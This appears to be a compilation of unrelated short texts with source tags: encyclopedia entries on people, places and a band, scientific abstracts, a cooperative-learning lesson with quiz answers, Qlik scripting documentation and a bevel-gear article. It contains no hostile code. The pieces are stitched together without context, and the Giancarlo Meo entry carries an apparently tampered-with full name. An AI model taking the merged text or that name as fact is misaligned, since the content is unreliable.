during 1963, Leader Nehru's health deteriorated, as he spent months recovering in Kashmir. He died on May 27, 1964, at the age of 74. | FINEWEB-EDU |
Closure of the Panama Seaway during the Pliocene: implications for climate and Northern Hemisphere glaciation
The "Panama Hypothesis" states that the gradual closure of the Panama Seaway, between 13 million years ago (13 Ma) and 2.6 Ma, led to decreased mixing of Atlantic and Pacific water Masses, the formation of North Atlantic Deep water and strengthening of the Atlantic thermohaline circulation, increased temperatures and evaporation in the North Atlantic, increased precipitation in Northern Hemisphere (NH) high latitudes, culminating in the intensification of Northern Hemisphere Glaciation (NHG) during the Pliocene, 3.2-2.7 Ma. Here we test this hypothesis using a fully coupled, fully dynamic ocean-atmosphere general circulation model (GCM) with boundary conditions specific to the Pliocene, and a high resolution dynamic ice sheet model. We carry out two GCM simulations with "closed" and "open" Panama Seaways, and use the simulated climatologies to force the ice sheet model. We find that the models support the "Panama Hypothesis" in as much as the closure of the seaway results in a more intense Atlantic thermohaline circulation, enhanced precipitation over Greenland and North America, and ultimately larger ice sheets. However, the volume difference between the ice sheets in the "closed" and "open" configurations is small, equivalent to about 5 cm of sea level. We conclude that although the closure of the Panama Seaway may have slightly enhanced or advanced the onset of NHG, it was not a major forcing mechanism. Future work must fully couple the ice sheet model and GCM, and investigate the role of orbital and CO2 effects in controlling NHG.
Details
Author(s):
Authors: Lunt, Daniel J., Valdes, Paul J., Haywood, Alan, Rutt, Ian C.
Date:
1 January, 2008
Journal/Source:
Climate Dynamics / 30
Page(s):
1-18
Digital Object Identifier (DOI):
https://doi.org/10.1007/s00382-007-0265-6 | ESSENTIALAI-STEM |
Kitty McShane
Kathleen "Kitty" McShane (19 May 1897 – 24 March 1964) was an Irish actress, best known as the wife and acting partner of Arthur Lucan, with whom she appeared in a series of Old Mother Riley stage shows and films from the 1930s to the 1950s.
Early life
Catherine McShane was born in Dublin, Ireland, the fourth of seventeen children born to Daniel and Kate McShane, of whom only seven survived to adulthood. In 1910 Arthur Lucan was touring Ireland and was playing his pantomime Little Red Riding Hood in Dublin. Here he met McShane, who successfully auditioned for a part in the show as a singer. Aged just 16 she married the 28-year-old Lucan on 25 November 1913 at the Church of St Andrews in Dublin. The couple had one son, Donald Daniel Towle (2 October 1915, Dublin – 10 February 1975).
'Old Mother Riley'
McShane and Lucan became a popular music hall and film double act during their nearly forty years together. They gradually evolved the stage characters of Old Mother Riley, with Lucan appearing in drag as Mrs Daphne Snowdrop Bluebell Riley from Dublin, and McShane playing her daughter 'Kitty Riley', whose wayward ways resulted in many of Mother Riley's amusing reactions.
McShane appeared in 14 of the 15 'Old Mother Riley' films. Lucan and McShane's marriage was difficult, possibly due to the rumours of McShane's many affairs and volatile temperament, and they separated in 1951. In McShane's last film, Old Mother Riley's Jungle Treasure (1951), their scenes were filmed on separate days. McShane opened a beauty salon, which failed, while Lucan continued to support her financially.
Following Lucan's death in 1954, McShane continued the act with impersonator Roy Rolland playing the 'Mother Riley' role, but the venture was not successful. The death of her partner, Billy Bleach, from cancer of the bladder in December 1963 led to McShane having serious problems with alcohol.
McShane was found dead at her London home on Tuesday 24 March 1964, aged 66, from undisclosed causes.
In 1982 Alan Plater wrote a play about Arthur Lucan's life with Kitty McShane, On Your Way, Riley, with songs by Alex Glasgow. A TV adaptation was broadcast on ITV in 1985, with Brian Murphy and Maureen Lipman in the leading roles.
Filmography
* Stars on Parade (1936)
* Kathleen Mavourneen (1937)
* Old Mother Riley (1937)
* Old Mother Riley in Paris (1938)
* Old Mother Riley, MP (1939)
* Old Mother Riley in Society (1940)
* Old Mother Riley Joins Up (1940)
* Old Mother Riley's Circus (1941)
* Old Mother Riley's Ghosts (1941)
* Old Mother Riley in Business (1941)
* Old Mother Riley Detective (1943)
* Old Mother Riley Overseas (1943)
* Old Mother Riley at Home (1945)
* Old Mother Riley's New Venture (1949)
* Old Mother Riley Headmistress (1950)
* Old Mother Riley's Jungle Treasure (1951) | WIKI |
Foundations and Assessment of Education/Edition 1/Foundations Table of Contents/Chapter 10/10.5.2
Cooperative Learning and the Social Nature of Learning
By awalk035
Learning Targets
Students should be able to:
1. Define and identify the components of cooperative learning.
Introduction
For many years, teachers have placed students into groups to complete tasks and assignments. We all remember that dreaded feeling of having to work with the labeled class slacker or with someone we didn't know. Once the groups were formed, everyone had a role that was connected to produce a final product. Without each other, our small portions would have been meaningless. Whether we realize it or not, our teachers were using cooperative learning to help us flourish academically and socially. Some experts believe that cooperative learning encourages students to learn while fostering a sense of community. When students are put into groups, they often have to work with classmates that they are not familiar with. When teachers form student groups, students have the opportunity to share their skills and knowledge. Cooperative learning has emerged as a widely used teaching practice that is used by many classroom teachers.
What Is Cooperative Learning?
Cooperative learning is more than putting students into small groups, because it gives students the opportunity to learn from each other. According to the Jigsaw Classroom, "group members must work together as a team to accomplish a common goal"(Jigsaw Classroom). Cooperative learning is much more than group or center time, it is a time for students to share in the learning process. Cooperative learning helps students thrive in social and academic setting. "Unlike typical classroom instruction, during which students tend to have only casual and rather superficial contact, cooperative learning processes have students working together to achieve a common goal. This produces more meaningful interactions between the students and a sense of positive interdependence. As these work groups change over time, the students collaborate with a variety of students in the class, leading to better peer relations in the class and an increase in students' friendships"(Stevens & Slavin). Cooperative learning consists of the following components: face to face promotive interaction, positive interdependence, individual accountability/personal responsibility, interpersonal and collaborative skills, and reflection/group processing of interaction(A Guide to Cooperative Learning).
1. Face to face promotive interaction forces students to talk openly with each other about their topic. "Cooperative teams help students learn to value individual differences and promote more elaborate thinking"(A Guide to Cooperative Learning).
2. Positive interdependence allows students to depend on each other. "Students must feel that they need each other in order to complete the group's task, that is, they sink or swim together"(A Guide to Cooperative Learning).
3. The individual accountability/personal responsibility portion ensures that each member of the group is responsible for their portion of an assignment. "Ways to build in individual accountability include: students take individual quizzes; each student is responsible for a specific portion of a task; each must be able to summarize another's ideas; any student may be called on at random to answer for the team"(A Guide to Cooperative Learning).
4. Interpersonal and collaborative skills are "skills for working together effectively (staying on task, summarizing, recording ideas) as well as group maintenance skills (encouraging each other). Ways to foster skill development include teacher modeling, brainstorming characteristics of "good" skills, direct practice, process observing, and reflection"(A Guide to Cooperative Learning).
5. Reflection/group processing of interaction gives group members time to think about how well they worked together. "Processing means giving students the time and procedures to analyze how well their groups are functioning and how well they are using the necessary collaborative skills. Processing can be individual, team-wide, or at the whole collaborative class level"(A Guide to Cooperative Learning).
What Does Cooperative Learning Look Like?
Cooperative learning requires participation from both the teacher and student groups. "Cooperative Learning (CL)provides an alternative to competitive or individualistic classroom activities by encouraging collaboration among students in small groups. The use of CL alters the structure of classroom activities and roles: the class organization changes to a multigroup structure, the teacher's role as an information transmitter is reduced, and the student's role shifts toward that of group participant and decision maker"(Emmer & Gewels). Students may participate in three types of cooperative learning groups: formal, informal, and cooperative based.
1. A formal cooperative learning group varies in the amount of time spent on a project. "Groups range in length from one class period to several weeks. The teacher can structure any academic assignment or course requirement for formal cooperative learning"(Johnson, Johnson and Holubec).
2. An informal cooperative learning group does not last as long as a formal cooperative learning group. "The teacher uses them during direct teaching (lectures, demonstrations) to focus student attention on the material to be learned, set a mood conducive to learning, help set expectations about material, what the lesson will cover, ensure that students are cognitively processing the material being taught, and provide closure to an instructional session"(Johnson, Johnson and Holubec).
3. A cooperative based group outlasts the duration of both formal and informal groups. These groups are "long-term (lasting for at least a year), heterogeneous groups with stable membership whose primary purpose is for members to give each other the support, help, encouragement, and assistance each needs to progress academically. Base groups provide students with long-term, committed relationships"(Johnson, Johnson, & Holubec).
Conclusion
More and more teachers should incorporate cooperative learning into their teaching practices. Cooperative learning concepts have proven to work in the classroom. Cooperative learning really allows students to take more from the learning experience. It really allows students of various strengths to accomplish a common goal. Students are able to build friendships and learn from their peers. Cooperative learning prepares students for the future and promotes teamwork.
Quiz
1. Which of the following is not a cooperative learning group?
A. Perception
B. Formal
C. Informal
D. Cooperative Based
2. Cooperative learning groups
A. dislike each other
B. complete work separately
C. work together to accomplish a goal
D. learn from the teacher only
3. When a student in Ms. Smith's 3rd grade class is held accountable for his task in the project about Jackie Robinson, he is displaying
A. Interpersonal Skills
B. Personal Responsibility
C. Reflection
D. Talk face to face
4. When student groups in Ms. Smith's 3rd grade class discuss how they all worked together during the Jackie Robinson project, they are
A. Interpersonal Skills
B. Positive Interdependence
C. Negative Interdependence
D. Reflection
References
"A Guide to Cooperative Learning." Welcome to the Electronic Learning Community. Prince George's County Public Schools. 2 Feb 2009 .
Aronson, Dr. Elliot. "Overview of the Technique." Jigsaw Classroom. Spring 2008. Social Psychology Network. 2 Feb 2009 .
Johnson,D.,Johnson,R. & Holubec,E."Cooperation in the Classroom". Boston, MA: Allyn and Bacon, 1998.
Emmer, Edmund T., Mary Claire Gerwels. "Cooperative Learning in Elementary Classrooms: Teaching Practices and Lesson Characteristics." The Elementary School Journal 103 No.1 (2002): 72-90.
Slavin, Robert E., Robert J. Stevens. "The Cooperative Elementary School: Effects on Students' Achievement, Attitudes, and Social Relations." American Educational Research Journal 32 No.2 (1995): 321-351.
Answers
1. A
2. C
3. B
4. D | WIKI |
Frogner Line
The Frogner Line (Frognerlinjen) is a section of the Oslo Tramway which runs between Solli and Majorstuen, serving the neighborhood of Frogner. The line is served by tram number 12, and the Frogner section makes up the westernmost part of this line. From Solli to Frogner, the line runs northwestwards to Frognerveien, then turns northeast along Kirkeveien, along the Frogner Park, including a stop at the main gate to the Vigeland sculpture installation, before ending at Majorstuen where it connects with the Homansbyen Line and Briskeby Line.
The southern part of the line was opened in 1902 to Frogner. The extension between Frogner and Majorstuen was opened in 1914 in connection with the 1914 Jubilee Exhibition at Frogner.
The balloon loop at Frogner was removed since it caused the intersection to become rather cluttered, although the tram company had expressed a desire to keep the loop. The line underwent major upgrades in 2005 although a mistake with the track elevation jeopardized scheduled reopening. | WIKI |
NFCU
NFCU may refer to:
* Navy Federal Credit Union, a credit union based in Virginia
* Nevada Federal Credit Union, a credit union in Nevada | WIKI |
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474 any secure foundation for these phyletie hypotheses. Only one important piece of information is given us, that the oldest mammals of the Mesozoic age, the Pantotheria and Allotheria of the Trias, were small, lowly organized, for the most part insect eating animals that represent the derivation from older vertebrates, reptiles or amphibia. There is nothing in this to contradict the idea that the entire class of mammals, from the oldest monotremes to man, is monophyletic; that all members of it can be traced back to a single common stem-form.
This positive conviction of the phyletic unity of the class of mammals, because of its common origin from a single extinct stem-group, is now shared by all expert zoologists, and I hold it to be one of the greatest advances of modern zoology. No matter what system of organs we compare in the various mammalian orders, we everywhere find this typical agreement in the essential characters of their structure, both minute and gross. Only among mammals is the skin covered with true hairs, from which fact Oken named this class the "hairy animals." Only in this class is generally found that remarkable kind of nurture, the nourishment of the newborn child with the milk of the mother. Here lies the physiological source of that highest form of maternal love which has exercised such a significant influence upon the family life of various mammals, as well as upon the culture and higher mental life of man. The poet Chamisso justly says of this:
If the Madonna seems to us the most sublime and pure prototype of this human maternal love, yet we perceive on the other hand in the "ape love," in the excessive tenderness of the ape mother, the counterpart of the same maternal instinct. The slow development of this, in the course of many millions of years, from the Trias period to the present, goes hand in hand with an important series of transformations. For the adaptation of the new-born mammal to suckling involved a series of changes not only in its own body but in that of its mother. While in the skin of the mother the mammary glands developed through the irritation and differentiation of a group of ordinary skin glands, there was formed in the mouth of the child, by the act of sucking, the soft palate and afterwards the epiglottis—two organs of the throat that occur only in mammals. In connection with this the mechanism of breathing was changed; this is shown not only in the minute structure of the lungs, but also in the formation of a complete diaphragm. Only in mammals does the muscular diaphragm form a complete partition between the throax and the abdomen. In all other vertebrates the two cavities remain openly connected. Also in the bony framework of the body, and especially in the skull, do we find results of these important transformations. Much the most important | WIKI |
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Giancarlo Meo
Giancarlo Parabulà Equatión Viedía Meo is an Italian record producer and entrepreneur. He started his career very young, contributing to the Italo disco scene. He founded Banana Records yielding successful artists like Easy Going and Vivien Vee. He also produced Gioca Jouer, the title song of the Sanremo Music Festival 1981. In the early '90s, he created the brand Hit Mania, combined with the launch of a series of compilations which featured several famous European artists such as Lùnapop, Haiducii (who reached the top of the European charts with "Dragostea Din Tei"), the duo Zero, the band Aventura (with their single "Obsesión"), and Crazy Frog. He is president of a group of companies that include Universe SpA and Global Mania Entertainment Ltd., which have offices in Rome. | WIKI |
Secondigliano tragedy
The Secondigliano tragedy, better known as the Secondigliano abyss, was a disaster in January 1996 involving gas leak explosion that occurred in Naples, in the Secondigliano district, where a total of 11 people lost their lives.
Background
For some time the Secondigliano crossroads had been involved in the construction works of the tunnel of the state road 87 NC from Miano to Arzano. Eight in all the workers who worked inside the tunnel for the company "Scarl Arzano".
Event
At 4:20 pm on Tuesday 23 January 1996, inside the tunnel, a gas leak occurred which immediately caused a very strong explosion, due to the drilling of a methane gas pipe inside the tunnel. The explosion took the buildings of the crossroads in full, where the wing of a three-storey building, the latter with an eviction order issued just a few days earlier, collapsed, causing a massive fire and causing the all, opening a chasm about 30 m wide.
The chasm, of unusual width, destroyed the square: the fire that had affected the area of the crossroads made it completely impossible for rescuers to arrive, who managed to tame it only eight hours later, around 1:00 am on 24 January. In the morning the rescuers had to dig for a long time to try to rescue someone still alive under the burnt rubble, but no one was found alive.
It took a long time to rebuild the entire crossroads and to put the damaged buildings back in place, while instead, since then, the construction of the tunnel after the tragedy was interrupted and, to this day, work has not resumed.
Victims
There were a total of 11 victims, 6 workers, 2 people in their cars, and 3 in the collapsed building. Two workers managed to get to safety, exiting the tunnel just before the explosion. The victims are Michele Sparaco, Alfonso Scala, Mario De Girolamo, Giuseppe Petrellese, Gennaro De Luca, Emilia Laudati, Francesco Russo, Pasquale Silvestro, Ciro Vastarella, Serena De Santis, Stefania Bellone While most bodies of the victims were recovered, only that of Stefania Bellone has never been found since then.
Commemoration
The "Family Victims of the Secondigliano Tragedy" association was formed, formed precisely by the families of the victims of the disaster, who each time reaffirm justice for the victims, having only 20 arrests and 3 convictions. Every year, on 23 January at 4:20 pm, the time of the disaster, there is a torchlight procession in memory of the disaster. | WIKI |
Dynamic glenohumeral stability provided by the rotator cuff muscles in the mid-range and end-range of motion: A study in cadavera
Seok Beom Lee, Kyu Jung Kim, Shawn W. O'Driscoll, Bernard F. Morrey, Kai Nan An
Research output: Contribution to journalArticlepeer-review
190 Scopus citations
Abstract
Background: Both static and dynamic factors are responsible for glenohumeral joint stability. We hypothesized that dynamic factors could potentially operate throughout the entire range of glenohumeral motion, although capsuloligamentous restraints (a static factor) have been thought to be primarily responsible for stability in the end-range of motion. The purpose of this study was to quantitatively compare the dynamic glenohumeral joint stability in the end-range of motion (the position of anterior instability) with that in the mid-range by investigating the force components generated by the rotator cuff muscles. Methods: Ten fresh-frozen shoulders from human cadavera were obtained, and all soft tissues except the rotator cuff were removed. The glenohumeral capsule was resected after the rotator cuff muscles had been released from the scapula. A specially designed frame positioned the humerus in 60 degrees of abduction and 45 degrees of extension with respect to the scapula. The compressive and shear components on the glenoid were measured before and after a constant force was applied individually to each muscle with the humerus in five different positions (from neutral to 90 degrees of external rotation). The dynamic stability index, a new biomechanical parameter reflecting these force components and the concavity-compression mechanism, was calculated. The higher the dynamic stability index, the greater the dynamic glenohumeral stability. Results: In the mid-range of motion, the supraspinatus and subscapularis provided higher dynamic stability indices than did the other muscles (p < 0.05). On the other hand, when the position of anterior instability was simulated in the end- range of motion, the subscapularis, infraspinatus, and teres minor provided significantly higher dynamic stability indices than did the supraspinatus (p < 0.005). Conclusions: The rotator cuff provided substantial anterior dynamic stability to the glenohumeral joint in the end-range of motion as well as in the mid-range. Clinical Relevance: A glenohumeral joint with a lax capsule and ligaments might be stabilized dynamically in the end-range of motion if the glenoid concavity is maintained and the function of the external and internal rotators, which are efficient stabilizers in this position, is enhanced.
Original languageEnglish (US)
Pages (from-to)849-857
Number of pages9
JournalJournal of Bone and Joint Surgery - American Volume
Volume82
Issue number6
DOIs
StatePublished - Jun 2000
Externally publishedYes
ASJC Scopus subject areas
• Surgery
• Orthopedics and Sports Medicine
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Stephanie Courtney
Stephanie Courtney (born February 8, 1970) is an American actress and comedian, best known for playing the advertising character Flo in television and radio commercials for Progressive Corporation beginning in 2008.
Courtney is also noted for her recurring roles on several television series, including the voices of Renee the Receptionist and Joy Peters on the Adult Swim comedy Tom Goes to the Mayor (2004–2006), Marge on the AMC drama Mad Men (2007), and Diane on the ABC comedy Cavemen (2007). She also appeared in the season 2 premiere of Men of a Certain Age, and played Essie Karp in The Goldbergs. Courtney was a member of The Groundlings, an improvisational and sketch comedy theater in Los Angeles, California.
Early life and education
Courtney was born in Stony Point, Rockland County, New York, the youngest of three children of a high-school history teacher father and a singer mother. In 1992, she graduated with a degree in English from Binghamton University, where she played Elizabeth Proctor in The Crucible, affirming her decision to be an actress. After graduation, she moved to New York City, where her roommate was future author and columnist Meghan Daum. While working as a secretary for Smith Barney chairman Robert F. Greenhill, Courtney studied acting at the Neighborhood Playhouse.
She moved to Los Angeles, where she roomed with her sister, actress Jennifer Courtney. The two wrote and performed the sketch "Those Courtney Girls" in Los Angeles and at the Aspen Comedy Festival. She joined the training program of the improvisational and sketch comedy group The Groundlings, and in 2004 became a member of its 30-person main company. There she met the theater's lighting director, Scott Kolanach, whom she married in 2008.
During her early time in Los Angeles she worked odd jobs, including catering, to support herself.
She has appeared in such films as The Brothers Solomon, Blades of Glory, The Heartbreak Kid, Melvin Goes to Dinner, and Fred: The Movie. | WIKI |
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Dollar-sign expansion using a variable
When using a variable for text replacement in the script or in an expression, the following syntax is used:
$(variablename)
$(variablename) expands to the value in the variable. If variablename does not exist, the expansion will result in an empty string.
For numeric variable expansions, the following syntax is used:
$(#variablename)
It always yields a valid decimal-point representation of the numeric value of the variable, possibly with exponential notation (for very large/small numbers). If variablename does not exist or does not contain a numeric value, it will be expanded to 0 instead.
Example:
SET DecimalSep=',';
LET X = 7/2;
The dollar-sign expansion $(X) will expand to 3,5 while $(#X) will expand to 3.5.
Example:
Set Mypath=C:\MyDocs\Files\;
...
LOAD * from $(MyPath)abc.csv;
Data will be loaded from C:\MyDocs\Files\abc.csv.
Example:
Set CurrentYear=1992;
...
SQL SELECT * FROM table1 WHERE Year=$(CurrentYear);
Rows with Year=1992 will be selected.
Example:
Set vConcatenate = ; For each vFile in FileList('.\*.txt') Data: $(vConcatenate) LOAD * FROM [$(vFile)]; Set vConcatenate = Concatenate ; Next vFile
In this example, all .txt files in the directory are loaded using the Concatenate prefix. This may be required if the fields differ slightly, in which case auto-concatenation does not work. The vConcatenate variable is initially set to an empty string, as the Concatenate prefix cannot be used on the first load. If the directory contains three files named file1.txt, file2.txt and file3.txt, the LOAD statement will during the three iterations expand to:
LOAD * FROM[.\file1.txt];
Concatenate LOAD * FROM[.\file2.txt];
Concatenate LOAD * FROM[.\file3.txt];
Expanding Variables in Alternate States
The variable has only one value, and this is used in all alternate states. When you expand a variable the value is also the same, independent of where it is made, and the state of the object.
If the variable is a calculated variable, that is, the definition starts with an equals sign, the calculation is made in the default state, unless you specify an alternate state in the variable definition.
Example:
If you have a state named MyState, and a variable named vMyVar:
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The variable definition content, with an explicit reference to the alternate state name, determines in which state the variable content will be evaluated. | ESSENTIALAI-STEM |
Correlation of Water pH To Aedes aegypti Larvae Growth
Authors
• Fitri Dwiyanti Universitas Lampung
• Betta Kurniawan
• Rika Lisiswanti
• Hanna Mutiara
DOI:
https://doi.org/10.53089/medula.v13i2.634
Keywords:
Aedes aegypti, dengue hemorrhagic fever, water pH
Abstract
Dengue hemorrhagic fever (DHF) is a disease caused by the dengue virus. This disease is transmitted by the Aedes aegypti mosquito through its bite. Dengue hemorrhagic fever cases are found in tropical and sub-tropical regions. Dengue fever has become a global health problem due to an increase in dengue cases in the world in the last decade. The World Health Organization (WHO) estimates that there are as many as 390 million dengue infections annually and 96 million of them have clinical manifestations of dengue infection. In 2020, there were 108,303 cases of DHF in Indonesia. A total of 477 districts/cities in Indonesia are infected with DHF or 92.8% of the total districts/cities in Indonesia. There has been an increase in DHF cases from 2010 to 2019. Water containers or also called breeding places have an effect on the high density of Aedes aegypti mosquitoes. More water containers means more mosquito breeding places. This causes a high population of mosquitoes which will have an impact on increasing cases of dengue hemorrhagic fever. Water used as a breeding ground for Aedes aegypti mosquitoes comes from various sources, such as rainwater, tap water, or well water. Each water has different chemical properties, such as pH, oxygen content, and other substances. The difference in pH will affect the growth and development of pre-adult stages of Aedes aegypti mosquitoes. The more acidic pH of the water causes the low growth of mosquito larvae to become adults. This is because at low water pH (acidic) dissolved oxygen levels will decrease, this causes the formation of cytochrome oxidase in the body of Aedes aegypti mosquito larvae to be disrupted. Cytochrome oxidase plays a role in the metabolic process of Aedes aegypti mosquito larvae, so that by reducing this enzyme, the growth of Aedes aegypti mosquitoes will be disrupted due to obstacles to energy production in the larval metabolic process.
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Chrostowski (feminine: Chrostowska, plural: Chrostowscy) is a Polish surname. It may refer to:
* Alfons Mieczysław Chrostowski (c. 1860 – after 1920), Polish writer
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Bevel gears, pressure angles and their relationship
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In this edition of “Tooth Tips,” I’d like to examine straight-tooth bevels, the oldest form of a true bevel gear. It is one of several popular bevel designs that are in common usage. AGMA has standardized three basic types: straight, spiral, and Zerol. Of all the forms, the straight form is the simplest, easiest to manufacture, and usually the most economical. Even so, this gear is more complicated than the spur gear. Spur and helical gears have pitch surfaces that are cylinders – the pitch surfaces of bevel gears are cones. The diametral pitch of all bevel gears is conveniently measured at the outer or heel part of the tooth, while the pressure angle (and spiral angle of spiral bevels) is measured at mid-face on the tooth.
The teeth of bevel gears are formed on the same principle as spur or helical gears, but their contact surfaces are not developed upon the actual pitch circle. A tooth section would show the actual shape and would not be in a plane parallel to the base of the pitch cone, but instead in a plane perpendicular to the conical pitch surface. The teeth placement is perpendicular to this pitch surface. In order to prevent an excessive difference in proportions between the inner and outer ends of the teeth, it is good practice to limit the face-width to approximately one third of the cone distance.
The tooth dimensions are taken from the large end of the tooth. When load calculations are made, the forces and dimensions at the central section location are used. The diametral pitches are of the same series as those of spur gears listed in chapter four. The circular pitch and pitch diameters are calculated in the same manner as spur gears.
When the straight-tooth bevel gears are an identical pair and operate at right angles, they are called miter gears. Both shafts will then rotate at the same speed. When the angle is other than a right angle, they are designated as angular bevels. There are limitations on the pitch angle of the pinion due to constrictions on some gear generators, which usually require an angle of above 5º. Subject to certain ratio limitations, shaft angles between 30º and 150º are usually permissible.
As with spur gears, the sound levels of straight-toothed bevel gears are likely to increase in proportion to increases in speed. The sound emanates from the action of the full-tooth length instantaneously entering the zone of engagement.
Pressure Angles
The bevel gear is standardized with a 20º pressure angle, also made with 14½º, 16º, 17½º, 22½º, 25º, and 35º pressure angles. For straight bevels, the AGMA standard recommends pressure angles of 20º and, for 12 or 13 teeth, 25º. The angle is measured normal to the surface of the tooth. The smaller angles are sometimes necessary when very large gears stretch the capacity of the gear generator. These smaller angles result in a lower rating, and there is a tendency to undercut the profile. The theory is to use the lowest pressure angle possible without reducing the strength or introducing undercutting. It is widely known that a lower pressure angle produces a lower decibel level and an increased arc of action. The effect of any eccentricity is reduced, and the tooth’s radial load component minimized. In theory, the pressure angle may be any one of a number, but the same practical result is obtained in most generating systems by using the approved standard angles. The rarely used 17½º was introduced to provide the quietest form of tooth consistent with the necessary strength and wear qualities.
In future columns, we’ll discuss gear blanks, basics of bevel gears, and bevel gears of more than 90º.
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The Beau Brummels
The Beau Brummels were an American rock band. Formed in San Francisco in 1964, the band's original lineup included Sal Valentino (lead vocals), Ron Elliott (lead guitar), Ron Meagher (bass guitar), Declan Mulligan (rhythm guitar, bass, harmonica), and John Petersen (drums). They were discovered by local disc jockeys who were looking to sign acts to their new label, Autumn Records, where Sylvester Stewart—later known as Sly Stone—produced the group's early recording sessions. Initially, the band's musical style blended beat music and folk music and typically drew comparisons to the Beatles, while their later work incorporated other music genres such as psychedelic rock and country rock.
The Beau Brummels broke into the mainstream with their debut single, "Laugh, Laugh", for which they would later be credited with setting one of the aesthetic foundations for the San Francisco sound, along with other bands such as the Charlatans; the song is in the Rock and Roll Hall of Fame list of the "500 Songs That Shaped Rock and Roll". The band's popularity continued with the subsequent album, 1965's Introducing The Beau Brummels, and the Top 10 single "Just a Little". The group's commercial success declined by the following year, at which time the financially struggling Autumn label was acquired by Warner Bros. Records. After recording an album of cover songs, Beau Brummels '66, the band released a pair of critically acclaimed albums: Triangle in 1967 and Bradley's Barn in 1968.
The band underwent several personnel changes, beginning with Mulligan's departure in 1965. Guitarist Don Irving joined the band in late 1965 when Elliott began to suffer seizures resulting from a diabetic condition, leaving him unable to tour with the band. Shortly after the release of Beau Brummels '66, Irving left the group when he was inducted into the armed forces. Petersen left to join Harpers Bizarre, reducing the Beau Brummels to a trio for the recording of Triangle. Meagher was drafted for military service in 1968, leaving Valentino and Elliott as the only remaining band members. The duo worked with prominent Nashville session musicians to record Bradley's Barn before parting ways in 1969 to focus on solo material and participate in projects by other artists. Four of the original Beau Brummels re-formed in 1974 with one new member, and the band released a self-titled album the following year.
Formation (1964)
Sal Valentino grew up in the North Beach section of San Francisco. In early 1964, following a string of appearances as a singer on local television, Valentino received an offer to play a regular gig at El Cid, a San Francisco club. Needing a band, he called childhood friend and songwriter/guitarist Ron Elliott, who recruited drummer John Petersen, rhythm guitarist/singer Declan Mulligan, and bassist Ron Meagher. Victor Savant, later to achieve fame in Europe as musical director for schlager singer Roberto Blanco, was in the band for a brief period as a pianist, but never recorded with the band. The gig led to a more lucrative deal at the Morocco Room, a club in nearby San Mateo, California. Meanwhile, San Francisco disc jockeys Tom Donahue and Bobby Mitchell were looking for new acts to bring to their fledgling Autumn Records label. Donahue and Mitchell wanted to capitalize on the Beatlemania craze that originated the previous year in the UK and was spreading across the U.S. by this time. Rich Romanello, owner of the Morocco Room and the Brummels' first manager, asked Donahue and Mitchell to see the band perform at the club. Romanello recalled, "There were maybe four people in the place, and they set up and started playing, and that old hair on my arm goes up. And when the hair on your arm goes up, you got something. It was a big change, to go from saxophones and black singers to a white guitar sound, but I hired 'em." The Beau Brummels signed with Autumn, where house producer Sylvester Stewart—later known as Sly Stone, of Sly and the Family Stone fame—produced the group's early recording sessions.
The Beau Brummels took their name from the Regency era English dandy Beau Brummell. The group liked having a British-sounding name, and the legend has been, since it so closely followed The Beatles in the alphabet, the group also knew their records would likely be placed immediately behind those of The Beatles in record-store bins. Valentino dismissed this notion in a 2008 interview with Goldmine magazine. "That's a total myth", he said. "We just needed a name, and that sounded good. We didn't even know how to spell it. Everybody now has a notion of what people were thinking back then, but we never thought of those kinds of things." Al Hazan, who produced the band's demo recording, noted, "I never thought of the Brummels in terms of the Beatles—it was Ron Elliott's talent as a songwriter that caused me to want to produce them."
Introducing the Beau Brummels and The Beau Brummels, Volume 2 (1965)
The band's debut single, "Laugh, Laugh" entered the U.S. Billboard Hot 100 singles chart in January 1965, making them the first successful San Francisco rock band of the 1960s. As the song climbed the charts, many listeners assumed The Beau Brummels were British, due to the band's name and musical style, which recalled such bands as The Beatles and The Zombies. The comparisons were bolstered by Donahue and Mitchell, who had the band dress in Beatlesque suits and spread rumors that the band was indeed British. "Laugh, Laugh" peaked at number 15 in February, but Donahue believed the single would have gone to number one if the band was on a label with stronger distribution. The song was the band's highest-charting single in Canada, where it reached number two on the Canadian Singles Chart. The band's follow-up single, "Just a Little", became the band's highest-charting single in the U.S., peaking at number eight in June. Both songs were included on the band's debut album, Introducing the Beau Brummels, which was released in April and reached number 24 on the Billboard 200 albums chart. The band appeared as themselves and performed in the 1965 science-fiction/comedy movie Village of the Giants, (which was later featured in a 1994 episode of Mystery Science Theater 3000). The band appeared as "The Beau Brummelstones" on The Flintstones television animated sitcom in the season six episode "Shinrock A Go-Go", which originally aired on December 3, 1965.
When recording began for the band's second album, 1965's The Beau Brummels, Volume 2, Mulligan was no longer a member of the group. In 1966 Mulligan filed an unsuccessful lawsuit, claiming he was wrongfully dismissed from the group. "You Tell Me Why", the album's lead single, was the band's third and final U.S. top 40 hit, peaking at number 38 in August 1965. Another single, "Don't Talk to Strangers", reached number 52 in November. While Stone is credited as the album's producer, his involvement, according to Sal Valentino and Ron Elliott, had diminished to the point that the band does not recall any producer being in charge. By the end of the year, Elliott began to suffer seizures from his diabetic condition that left him unable to perform. Don Irving became Elliott's stand-in on guitar when the group performed live, and also recorded with them.
Beau Brummels '66, Triangle and Bradley's Barn (1966–68)
The Beau Brummels made a musical guest appearance performing "Just Wait and See" in Wild Wild Winter (actually filmed in 1965, before Village of the Giants and when Mulligan was still in the band) a beach party-inspired comedy film by Universal Pictures which was released January 5, 1966. The band continued recording new material despite Autumn verging on collapse. Such songs as "I Grow Old", "Gentle Wandering Ways" and "Dream On", along with Valentino-composed tracks such as "Love Is Just a Game", "This Is Love", and "Hey, Love", would have most likely been included on the band's third album for Autumn. But before an album was completed and released, the entire Autumn roster, including the Beau Brummels, was transferred to Warner Bros. Records. Warner Bros., however, did not control the band's publishing, and consequently the company chose not to have the band release an album of original material. The unreleased songs were later included on the 2005 three-disc compilation album San Fran Sessions. Instead, Warner Bros. opted to have the band record an album of cover songs. Released in July 1966, Beau Brummels '66 was considered a commercial and critical disappointment. The non-album single "One Too Many Mornings", a Bob Dylan cover, was the band's sixth and final Hot 100 chart entry, peaking at number 95 in June. Petersen left the band after the album's release to join Harpers Bizarre, while Irving departed when he received an induction notice into the armed forces. The three remaining members quit touring to focus on studio work.
